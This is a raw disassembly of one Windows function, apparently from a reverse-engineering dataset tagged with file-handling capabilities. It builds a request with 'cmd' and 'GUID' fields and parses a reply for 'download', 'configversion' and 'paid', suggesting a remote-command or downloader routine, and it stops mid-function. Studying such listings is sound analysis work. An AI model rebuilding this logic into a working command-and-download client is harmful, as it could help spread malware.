Function at 0x425020
Capabilities:
Copy file
Delete file
Get common file path
Move file
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44ca3e
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x9d88
call fcn.0043b360
mov eax, dword [0x458ac0]
xor eax, ebp
mov dword [ebp - 0x2c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], 0
call fcn.00431400
push eax
lea ecx, [ebp - 0x24]
call fcn.00429f10
mov dword [ebp - 4], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x14], 0
mov byte [ebp - 4], 1
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x850], 0
mov byte [ebp - 4], 2
mov byte [ebp - 0x831], 0
mov byte [ebp - 0x1d], 0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x850]
call fcn.0042a250
mov dword [ebp - 0x850], 0
lea eax, [ebp - 0x850]
push eax
push 0x44e998
push 1
push 0
push 0x44e4b0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x848], eax
cmp dword [ebp - 0x848], 0
jge 0x425135
mov dword [ebp - 0x952c], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x850]
call fcn.0042a250
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.0042a250
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x24]
sub ecx, 0x10
mov dword [ebp - 0x9710], ecx
mov ecx, dword [ebp - 0x9710]
call fcn.00421da3
mov eax, dword [ebp - 0x952c]
jmp 0x428a0e
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
xor edx, edx
mov ecx, 0x1869f
div ecx
push edx
push 0x44e984
lea edx, [ebp - 0x844]
push edx
call fcn.0043b24a
add esp, 0xc
mov eax, str.ver
test eax, eax
jne 0x42516e
mov dword [ebp - 0x9714], 0
jmp 0x425181
push str.ver
call fcn.0043b390
add esp, 4
mov dword [ebp - 0x9714], eax
mov ecx, dword [ebp - 0x9714]
push ecx
push str.ver
lea ecx, [ebp - 0x24]
call fcn.00421470
mov edx, str.sion
test edx, edx
jne 0x4251aa
mov dword [ebp - 0x9718], 0
jmp 0x4251bd
push str.sion
call fcn.0043b390
add esp, 4
mov dword [ebp - 0x9718], eax
mov eax, dword [ebp - 0x9718]
push eax
push str.sion
lea ecx, [ebp - 0x24]
call fcn.00429fb0
mov ecx, 0x44e728
test ecx, ecx
jne 0x4251e6
mov dword [ebp - 0x971c], 0
jmp 0x4251f9
push 0x44e728
call fcn.0043b390
add esp, 4
mov dword [ebp - 0x971c], eax
mov edx, dword [ebp - 0x971c]
push edx
push 0x44e728
lea ecx, [ebp - 0x24]
call fcn.00429fb0
mov eax, str.GUID
test eax, eax
jne 0x425222
mov dword [ebp - 0x9720], 0
jmp 0x425235
push str.GUID
call fcn.0043b390
add esp, 4
mov dword [ebp - 0x9720], eax
mov ecx, dword [ebp - 0x9720]
push ecx
push str.GUID
lea ecx, [ebp - 0x24]
call fcn.00429fb0
push ecx
mov edx, esp
mov dword [ebp - 0x9530], esp
mov dword [ebp - 0x972c], edx
mov eax, dword [0x45bf90]
sub eax, 0x10
mov dword [ebp - 0x9724], eax
mov ecx, dword [ebp - 0x9724]
push ecx
call fcn.00421ce0
add esp, 4
mov dword [ebp - 0x9c08], eax
mov edx, dword [ebp - 0x9c08]
mov dword [ebp - 0x9728], edx
mov eax, dword [ebp - 0x9728]
add eax, 0x10
mov ecx, dword [ebp - 0x972c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x972c]
mov dword [ebp - 0x9c0c], edx
lea eax, [ebp - 0x9534]
push eax
call fcn.0042a4d5
add esp, 8
mov dword [ebp - 0x9c10], eax
mov ecx, dword [ebp - 0x9c10]
mov dword [ebp - 0x9738], ecx
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x9738]
mov eax, dword [edx]
mov ecx, dword [eax - 0xc]
mov dword [ebp - 0x9730], ecx
mov edx, dword [ebp - 0x9738]
mov eax, dword [edx]
mov dword [ebp - 0x9734], eax
mov ecx, dword [ebp - 0x9730]
push ecx
mov edx, dword [ebp - 0x9734]
push edx
lea ecx, [ebp - 0x24]
call fcn.00429fb0
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x9534]
sub eax, 0x10
mov dword [ebp - 0x973c], eax
mov ecx, dword [ebp - 0x973c]
call fcn.00421da3
mov ecx, str.cmd
test ecx, ecx
jne 0x425331
mov dword [ebp - 0x9740], 0
jmp 0x425344
push str.cmd
call fcn.0043b390
add esp, 4
mov dword [ebp - 0x9740], eax
mov edx, dword [ebp - 0x9740]
push edx
push str.cmd
lea ecx, [ebp - 0x24]
call fcn.00429fb0
mov eax, dword [0x45bf8c]
mov ecx, dword [eax - 0xc]
mov dword [ebp - 0x9744], ecx
mov edx, dword [ebp - 0x9744]
push edx
mov eax, dword [0x45bf8c]
push eax
lea ecx, [ebp - 0x24]
call fcn.00429fb0
mov ecx, 0x44e960
test ecx, ecx
jne 0x425390
mov dword [ebp - 0x9748], 0
jmp 0x4253a3
push 0x44e960
call fcn.0043b390
add esp, 4
mov dword [ebp - 0x9748], eax
mov edx, dword [ebp - 0x9748]
push edx
push 0x44e960
lea ecx, [ebp - 0x24]
call fcn.00429fb0
push SysReAllocString
push 1
push ecx
mov ecx, esp
mov dword [ebp - 0x9538], esp
push 0x44e4c3
call fcn.004210d0
mov dword [ebp - 0x9c14], eax
mov eax, dword [ebp - 0x9c14]
mov dword [ebp - 0x9c18], eax
mov byte [ebp - 4], 5
push 0x44e788
lea ecx, [ebp - 0x9540]
call fcn.004210d0
mov dword [ebp - 0x9c1c], eax
mov ecx, dword [ebp - 0x9c1c]
mov dword [ebp - 0x9c20], ecx
mov byte [ebp - 4], 6
push 0x44e574
mov edx, dword [ebp - 0x9c20]
push edx
lea eax, [ebp - 0x9544]
push eax
call fcn.00429c10
add esp, 0xc
mov dword [ebp - 0x9c24], eax
mov ecx, dword [ebp - 0x9c24]
mov dword [ebp - 0x9c28], ecx
mov byte [ebp - 4], 7
push ecx
mov edx, esp
mov dword [ebp - 0x953c], esp
push 0x44e95c
mov eax, dword [ebp - 0x9c28]
push eax
push edx
call fcn.00429c10
add esp, 0xc
mov dword [ebp - 0x9c2c], eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x27b0]
call fcn.00422490
mov dword [ebp - 0x9c30], eax
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x9544]
sub ecx, 0x10
mov dword [ebp - 0x975c], ecx
mov ecx, dword [ebp - 0x975c]
call fcn.00421da3
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x9540]
sub edx, 0x10
mov dword [ebp - 0x9760], edx
mov ecx, dword [ebp - 0x9760]
call fcn.00421da3
lea eax, [ebp - 0x954c]
push eax
lea ecx, [ebp - 0x27b0]
call fcn.00422ad0
mov dword [ebp - 0x9c34], eax
mov ecx, dword [ebp - 0x9c34]
mov dword [ebp - 0x976c], ecx
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x976c]
mov eax, dword [edx]
sub eax, 0x10
mov dword [ebp - 0x9764], eax
mov ecx, dword [ebp - 0x9764]
push ecx
call fcn.00421ce0
add esp, 4
mov dword [ebp - 0x9c38], eax
mov edx, dword [ebp - 0x9c38]
mov dword [ebp - 0x9768], edx
mov eax, dword [ebp - 0x9768]
add eax, 0x10
mov dword [ebp - 0x9548], eax
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x9548]
mov edx, dword [ecx - 0xc]
mov dword [ebp - 0x9770], edx
mov eax, dword [ebp - 0x9770]
push eax
mov ecx, dword [ebp - 0x9548]
push ecx
lea ecx, [ebp - 0x24]
call fcn.00429fb0
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x9548]
sub edx, 0x10
mov dword [ebp - 0x9774], edx
mov ecx, dword [ebp - 0x9774]
call fcn.00421da3
mov byte [ebp - 4], 0xc
mov eax, dword [ebp - 0x954c]
sub eax, 0x10
mov dword [ebp - 0x9778], eax
mov ecx, dword [ebp - 0x9778]
call fcn.00421da3
mov ecx, 0x44e958
test ecx, ecx
jne 0x425596
mov dword [ebp - 0x977c], 0
jmp 0x4255a9
push 0x44e958
call fcn.0043b390
add esp, 4
mov dword [ebp - 0x977c], eax
mov edx, dword [ebp - 0x977c]
push edx
push 0x44e958
lea ecx, [ebp - 0x24]
call fcn.00429fb0
push SysReAllocString
push 1
push ecx
mov ecx, esp
mov dword [ebp - 0x9570], esp
push 0x44e4c3
call fcn.004210d0
mov dword [ebp - 0x9c3c], eax
mov eax, dword [ebp - 0x9c3c]
mov dword [ebp - 0x9c40], eax
mov byte [ebp - 4], 0xf
push 0x44e788
lea ecx, [ebp - 0x9578]
call fcn.004210d0
mov dword [ebp - 0x9c44], eax
mov ecx, dword [ebp - 0x9c44]
mov dword [ebp - 0x9c48], ecx
mov byte [ebp - 4], 0x10
push 0x44e574
mov edx, dword [ebp - 0x9c48]
push edx
lea eax, [ebp - 0x957c]
push eax
call fcn.00429c10
add esp, 0xc
mov dword [ebp - 0x9c4c], eax
mov ecx, dword [ebp - 0x9c4c]
mov dword [ebp - 0x9c50], ecx
mov byte [ebp - 4], 0x11
push ecx
mov edx, esp
mov dword [ebp - 0x9574], esp
push 0x44e954
mov eax, dword [ebp - 0x9c50]
push eax
push edx
call fcn.00429c10
add esp, 0xc
mov dword [ebp - 0x9c54], eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x956c]
call fcn.00422490
mov dword [ebp - 0x9c58], eax
mov ecx, dword [ebp - 0x9c58]
mov dword [ebp - 0x9c5c], ecx
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0x9c5c]
push edx
lea ecx, [ebp - 0x27b0]
call fcn.00429360
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x956c]
call fcn.00422790
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0x957c]
sub eax, 0x10
mov dword [ebp - 0x9794], eax
mov ecx, dword [ebp - 0x9794]
call fcn.00421da3
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x9578]
sub ecx, 0x10
mov dword [ebp - 0x9798], ecx
mov ecx, dword [ebp - 0x9798]
call fcn.00421da3
lea edx, [ebp - 0x9584]
push edx
lea ecx, [ebp - 0x27b0]
call fcn.00422ad0
mov dword [ebp - 0x9c60], eax
mov eax, dword [ebp - 0x9c60]
mov dword [ebp - 0x97a4], eax
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x97a4]
mov edx, dword [ecx]
sub edx, 0x10
mov dword [ebp - 0x979c], edx
mov eax, dword [ebp - 0x979c]
push eax
call fcn.00421ce0
add esp, 4
mov dword [ebp - 0x9c64], eax
mov ecx, dword [ebp - 0x9c64]
mov dword [ebp - 0x97a0], ecx
mov edx, dword [ebp - 0x97a0]
add edx, 0x10
mov dword [ebp - 0x9580], edx
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x9580]
mov ecx, dword [eax - 0xc]
mov dword [ebp - 0x97a8], ecx
mov edx, dword [ebp - 0x97a8]
push edx
mov eax, dword [ebp - 0x9580]
push eax
lea ecx, [ebp - 0x24]
call fcn.00429fb0
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x9580]
sub ecx, 0x10
mov dword [ebp - 0x97ac], ecx
mov ecx, dword [ebp - 0x97ac]
call fcn.00421da3
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x9584]
sub edx, 0x10
mov dword [ebp - 0x97b0], edx
mov ecx, dword [ebp - 0x97b0]
call fcn.00421da3
mov eax, 0x44e950
test eax, eax
jne 0x4257cd
mov dword [ebp - 0x97b4], 0
jmp 0x4257e0
push 0x44e950
call fcn.0043b390
add esp, 4
mov dword [ebp - 0x97b4], eax
mov ecx, dword [ebp - 0x97b4]
push ecx
push 0x44e950
lea ecx, [ebp - 0x24]
call fcn.00429fb0
lea edx, [ebp - 0x844]
test edx, edx
jne 0x42580a
mov dword [ebp - 0x97b8], 0
jmp 0x42581f
lea eax, [ebp - 0x844]
push eax
call fcn.0043b390
add esp, 4
mov dword [ebp - 0x97b8], eax
mov ecx, dword [ebp - 0x97b8]
push ecx
lea edx, [ebp - 0x844]
push edx
lea ecx, [ebp - 0x24]
call fcn.00429fb0
push 0x44e94c
lea eax, [ebp - 0x830]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x44e948
lea ecx, [ebp - 0x830]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e944
lea edx, [ebp - 0x830]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e940
lea eax, [ebp - 0x830]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e4c4
lea ecx, [ebp - 0x830]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e93c
lea edx, [ebp - 0x830]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e938
lea eax, [ebp - 0x830]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e934
lea ecx, [ebp - 0x830]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e930
lea edx, [ebp - 0x830]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e92c
lea eax, [ebp - 0x830]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e928
lea ecx, [ebp - 0x830]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e924
lea edx, [ebp - 0x830]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e920
lea eax, [ebp - 0x830]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e91c
lea ecx, [ebp - 0x830]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e918
lea edx, [ebp - 0x830]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e914
lea eax, [ebp - 0x830]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e910
lea ecx, [ebp - 0x830]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e90c
lea edx, [ebp - 0x830]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e908
lea eax, [ebp - 0x830]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e904
lea ecx, [ebp - 0x830]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e95c
lea edx, [ebp - 0x830]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e900
lea eax, [ebp - 0x830]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44e95c
lea ecx, [ebp - 0x830]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push str._h.x_
lea edx, [ebp - 0x830]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov eax, dword [ebp - 0x24]
push eax
lea ecx, [ebp - 0x830]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea ecx, [ebp - 0x27c0]
call fcn.00421dbd
mov dword [ebp - 0x9c68], eax
mov byte [ebp - 4], 0x17
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x830]
push eax
lea ecx, [ebp - 0x27c0]
call fcn.00421e03
mov dword [ebp - 0x9c6c], eax
mov ecx, dword [ebp - 0x9c6c]
mov dword [ebp - 0x84c], ecx
cmp dword [ebp - 0x84c], 0x64
jae 0x425aa8
mov dword [ebp - 0x9588], 0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x27c0]
call fcn.00421dca
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x27b0]
call fcn.00422790
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x850]
call fcn.0042a250
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.0042a250
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x24]
sub edx, 0x10
mov dword [ebp - 0x97bc], edx
mov ecx, dword [ebp - 0x97bc]
call fcn.00421da3
mov eax, dword [ebp - 0x9588]
jmp 0x428a0e
mov eax, dword [ebp - 0x84c]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
lea edx, [ebp - 0x958c]
push edx
call fcn.0042a650
add esp, 0xc
mov dword [ebp - 0x97c0], eax
mov eax, dword [ebp - 0x97c0]
mov ecx, dword [eax]
mov dword [ebp - 0x97c4], ecx
mov edx, dword [ebp - 0x97c4]
push edx
lea eax, [ebp - 0x2790]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov ecx, dword [ebp - 0x958c]
sub ecx, 0x10
mov dword [ebp - 0x97c8], ecx
mov ecx, dword [ebp - 0x97c8]
call fcn.00421da3
lea edx, [ebp - 0x2790]
push edx
lea ecx, [ebp - 0x27b8]
call fcn.00428a30
mov dword [ebp - 0x9c70], eax
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x27b8], 0
je 0x425b6f
mov eax, dword [ebp - 0x27b8]
mov dword [ebp - 0x97d4], eax
mov ecx, dword [ebp - 0x97d4]
cmp dword [ecx], 0
je 0x425b57
mov edx, dword [ebp - 0x97d4]
mov eax, dword [edx]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov dword [ebp - 0x9c74], eax
jmp 0x425b61
mov dword [ebp - 0x9c74], 0
mov ecx, dword [ebp - 0x9c74]
mov dword [ebp - 0x9c78], ecx
jmp 0x425b79
mov dword [ebp - 0x9c78], 0
cmp dword [ebp - 0x9c78], 0x63
ja 0x425c20
mov dword [ebp - 0x9590], 0
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x27b8], 0
je 0x425bb2
mov ecx, dword [ebp - 0x27b8]
call fcn.00428c60
mov dword [ebp - 0x27b8], 0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x27c0]
call fcn.00421dca
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x27b0]
call fcn.00422790
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x850]
call fcn.0042a250
mov byte [ebp - 4], 0
cmp dword [ebp - 0x14], 0
je 0x425bf7
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
call edx
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x24]
sub eax, 0x10
mov dword [ebp - 0x97d8], eax
mov ecx, dword [ebp - 0x97d8]
call fcn.00421da3
mov eax, dword [ebp - 0x9590]
jmp 0x428a0e
push ecx
mov ecx, esp
mov dword [ebp - 0x9594], esp
mov dword [ebp - 0x97e0], ecx
mov edx, dword [ebp - 0x97e0]
mov eax, dword [ebp - 0x27b8]
mov dword [edx], eax
mov ecx, dword [ebp - 0x97e0]
cmp dword [ecx], 0
je 0x425c66
mov edx, dword [ebp - 0x97e0]
mov eax, dword [edx]
mov dword [ebp - 0x97dc], eax
mov ecx, dword [ebp - 0x97dc]
add ecx, 8
push ecx
call dword [sym.imp.KERNEL32.DLL_InterlockedIncrement]
mov edx, dword [ebp - 0x97e0]
mov dword [ebp - 0x9c7c], edx
mov byte [ebp - 4], 0x19
cmp dword [ebp - 0x850], 0
jne 0x425c89
push 0x80004003
call fcn.0044bc80
mov eax, dword [ebp - 0x850]
mov dword [ebp - 0x97e4], eax
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x97e4]
call fcn.004291d0
mov word [ebp - 0x9c7e], ax
mov cx, word [ebp - 0x9c7e]
mov word [ebp - 0x27b4], cx
movsx edx, word [ebp - 0x27b4]
cmp edx, 0xffffffff
jne 0x4288b6
cmp dword [ebp - 0x850], 0
jne 0x425cdc
push 0x80004003
call fcn.0044bc80
mov eax, dword [ebp - 0x850]
mov dword [ebp - 0x97f4], eax
lea ecx, [ebp - 0x9598]
push ecx
mov ecx, dword [ebp - 0x97f4]
call fcn.00429140
mov dword [ebp - 0x97f8], eax
mov edx, dword [ebp - 0x97f8]
mov eax, dword [edx]
push eax
lea ecx, [ebp - 0x14]
call fcn.0042a1f0
cmp dword [ebp - 0x9598], 0
je 0x425d2e
mov ecx, dword [ebp - 0x9598]
push ecx
mov edx, dword [ebp - 0x9598]
mov eax, dword [edx]
mov ecx, dword [eax + 8]
call ecx
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x27c8], 0
mov byte [ebp - 4], 0x1a
cmp dword [ebp - 0x14], 0
jne 0x425d53
push 0x80004003
call fcn.0044bc80
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x97fc], edx
lea eax, [ebp - 0x959c]
push eax
mov ecx, dword [ebp - 0x97fc]
call fcn.00428f30
mov dword [ebp - 0x9800], eax
mov ecx, dword [ebp - 0x9800]
mov edx, dword [ecx]
push edx
lea ecx, [ebp - 0x27c8]
call fcn.0042a1f0
cmp dword [ebp - 0x959c], 0
je 0x425da5
mov eax, dword [ebp - 0x959c]
push eax
mov ecx, dword [ebp - 0x959c]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
call eax
jmp 0x425e0f
cmp dword [ebp - 0x27c8], 0
jne 0x425dba
push 0x80004003
call fcn.0044bc80
mov ecx, dword [ebp - 0x27c8]
mov dword [ebp - 0x9804], ecx
lea edx, [ebp - 0x95a0]
push edx
mov ecx, dword [ebp - 0x9804]
call fcn.00428fc0
mov dword [ebp - 0x9808], eax
mov eax, dword [ebp - 0x9808]
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x27c8]
call fcn.0042a1f0
cmp dword [ebp - 0x95a0], 0
je 0x425e0f
mov edx, dword [ebp - 0x95a0]
push edx
mov eax, dword [ebp - 0x95a0]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
call edx
lea eax, [ebp - 0x27c8]
push eax
push 0
call fcn.0042a280
add esp, 8
mov byte [ebp - 0x9c7f], al
movzx ecx, byte [ebp - 0x9c7f]
test ecx, ecx
je 0x425ffb
push str.download
lea ecx, [ebp - 0x95ac]
call fcn.00428a30
mov dword [ebp - 0x9c84], eax
mov edx, dword [ebp - 0x9c84]
mov dword [ebp - 0x981c], edx
mov byte [ebp - 4], 0x1b
cmp dword [ebp - 0x27c8], 0
jne 0x425e6e
push 0x80004003
call fcn.0044bc80
mov eax, dword [ebp - 0x27c8]
mov dword [ebp - 0x9814], eax
lea ecx, [ebp - 0x95a8]
push ecx
mov ecx, dword [ebp - 0x9814]
call fcn.00428dd0
mov dword [ebp - 0x9818], eax
mov edx, dword [ebp - 0x981c]
push edx
mov ecx, dword [ebp - 0x9818]
call fcn.00428b70
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x95a1], al
cmp dword [ebp - 0x95a8], 0
je 0x425ecf
mov ecx, dword [ebp - 0x95a8]
call fcn.00428c60
mov dword [ebp - 0x95a8], 0
mov byte [ebp - 4], 0x1a
cmp dword [ebp - 0x95ac], 0
je 0x425ef1
mov ecx, dword [ebp - 0x95ac]
call fcn.00428c60
mov dword [ebp - 0x95ac], 0
movzx eax, byte [ebp - 0x95a1]
test eax, eax
je 0x425ff6
cmp dword [ebp - 0x27c8], 0
jne 0x425f13
push 0x80004003
call fcn.0044bc80
mov ecx, dword [ebp - 0x27c8]
mov dword [ebp - 0x9820], ecx
lea edx, [ebp - 0x27cc]
push edx
mov ecx, dword [ebp - 0x9820]
call fcn.00428f30
mov dword [ebp - 0x9c88], eax
mov byte [ebp - 4], 0x1c
jmp 0x425fa5
cmp dword [ebp - 0x27cc], 0
jne 0x425f50
push 0x80004003
call fcn.0044bc80
mov eax, dword [ebp - 0x27cc]
mov dword [ebp - 0x9824], eax
lea ecx, [ebp - 0x95b0]
push ecx
mov ecx, dword [ebp - 0x9824]
call fcn.00428fc0
mov dword [ebp - 0x9828], eax
mov edx, dword [ebp - 0x9828]
mov eax, dword [edx]
push eax
lea ecx, [ebp - 0x27cc]
call fcn.0042a1f0
cmp dword [ebp - 0x95b0], 0
je 0x425fa5
mov ecx, dword [ebp - 0x95b0]
push ecx
mov edx, dword [ebp - 0x95b0]
mov eax, dword [edx]
mov ecx, dword [eax + 8]
call ecx
lea edx, [ebp - 0x27cc]
push edx
push 0
call fcn.0042a280
add esp, 8
mov byte [ebp - 0x9c89], al
movzx eax, byte [ebp - 0x9c89]
test eax, eax
je 0x425fd5
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
jmp 0x425f3d
mov byte [ebp - 4], 0x1a
cmp dword [ebp - 0x27cc], 0
je 0x425ff6
mov edx, dword [ebp - 0x27cc]
push edx
mov eax, dword [ebp - 0x27cc]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
call edx
jmp 0x425da7
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x27c8], 0
je 0x42601c
mov eax, dword [ebp - 0x27c8]
push eax
mov ecx, dword [ebp - 0x27c8]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
call eax
mov dword [ebp - 0x27d0], 0
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x14], 0
jne 0x42603a
push 0x80004003
call fcn.0044bc80
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x982c], ecx
lea edx, [ebp - 0x95b4]
push edx
mov ecx, dword [ebp - 0x982c]
call fcn.00428f30
mov dword [ebp - 0x9830], eax
mov eax, dword [ebp - 0x9830]
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x27d0]
call fcn.0042a1f0
cmp dword [ebp - 0x95b4], 0
je 0x42608c
mov edx, dword [ebp - 0x95b4]
push edx
mov eax, dword [ebp - 0x95b4]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
call edx
jmp 0x4260f6
cmp dword [ebp - 0x27d0], 0
jne 0x4260a1
push 0x80004003
call fcn.0044bc80
mov eax, dword [ebp - 0x27d0]
mov dword [ebp - 0x9834], eax
lea ecx, [ebp - 0x95b8]
push ecx
mov ecx, dword [ebp - 0x9834]
call fcn.00428fc0
mov dword [ebp - 0x9838], eax
mov edx, dword [ebp - 0x9838]
mov eax, dword [edx]
push eax
lea ecx, [ebp - 0x27d0]
call fcn.0042a1f0
cmp dword [ebp - 0x95b8], 0
je 0x4260f6
mov ecx, dword [ebp - 0x95b8]
push ecx
mov edx, dword [ebp - 0x95b8]
mov eax, dword [edx]
mov ecx, dword [eax + 8]
call ecx
lea edx, [ebp - 0x27d0]
push edx
push 0
call fcn.0042a280
add esp, 8
mov byte [ebp - 0x9c8a], al
movzx eax, byte [ebp - 0x9c8a]
test eax, eax
je 0x4266fd
push str.configversion
lea ecx, [ebp - 0x95c4]
call fcn.00428a30
mov dword [ebp - 0x9c90], eax
mov ecx, dword [ebp - 0x9c90]
mov dword [ebp - 0x984c], ecx
mov byte [ebp - 4], 0x1e
cmp dword [ebp - 0x27d0], 0
jne 0x426155
push 0x80004003
call fcn.0044bc80
mov edx, dword [ebp - 0x27d0]
mov dword [ebp - 0x9844], edx
lea eax, [ebp - 0x95c0]
push eax
mov ecx, dword [ebp - 0x9844]
call fcn.00428dd0
mov dword [ebp - 0x9848], eax
mov ecx, dword [ebp - 0x984c]
push ecx
mov ecx, dword [ebp - 0x9848]
call fcn.00428b70
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x95b9], al
cmp dword [ebp - 0x95c0], 0
je 0x4261b6
mov ecx, dword [ebp - 0x95c0]
call fcn.00428c60
mov dword [ebp - 0x95c0], 0
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x95c4], 0
je 0x4261d8
mov ecx, dword [ebp - 0x95c4]
call fcn.00428c60
mov dword [ebp - 0x95c4], 0
movzx edx, byte [ebp - 0x95b9]
test edx, edx
je 0x426313
cmp dword [ebp - 0x27d0], 0
jne 0x4261fa
push 0x80004003
call fcn.0044bc80
mov eax, dword [ebp - 0x27d0]
mov dword [ebp - 0x9850], eax
lea ecx, [ebp - 0x95c8]
push ecx
mov ecx, dword [ebp - 0x9850]
call fcn.00429050
mov dword [ebp - 0x9c94], eax
mov edx, dword [ebp - 0x9c94]
mov dword [ebp - 0x9c98], edx
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x9c98]
call fcn.00428b10
mov dword [ebp - 0x9c9c], eax
mov eax, dword [ebp - 0x9c9c]
push eax
push 0x44e8dc
lea ecx, [ebp - 0x47d0]
push ecx
call fcn.0043b24a
add esp, 0xc
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x95c8], 0
je 0x42627c
mov ecx, dword [ebp - 0x95c8]
call fcn.00428c60
mov dword [ebp - 0x95c8], 0
push SysReAllocString
push 1
push ecx
mov ecx, esp
mov dword [ebp - 0x95cc], esp
push 0x44e4c3
call fcn.004210d0
mov dword [ebp - 0x9ca0], eax
mov edx, dword [ebp - 0x9ca0]
mov dword [ebp - 0x9ca4], edx
mov byte [ebp - 4], 0x20
push ecx
mov ecx, esp
mov dword [ebp - 0x95d0], esp
push str.WRconfigversion
call fcn.004210d0
mov dword [ebp - 0x9ca8], eax
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x47f0]
call fcn.00422490
mov dword [ebp - 0x9cac], eax
mov byte [ebp - 4], 0x21
push ecx
mov ecx, esp
mov dword [ebp - 0x95d4], esp
lea eax, [ebp - 0x47d0]
push eax
call fcn.004210d0
mov dword [ebp - 0x9cb0], eax
lea ecx, [ebp - 0x47f0]
call fcn.00422b50
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x47f0]
call fcn.00422790
push str.paid
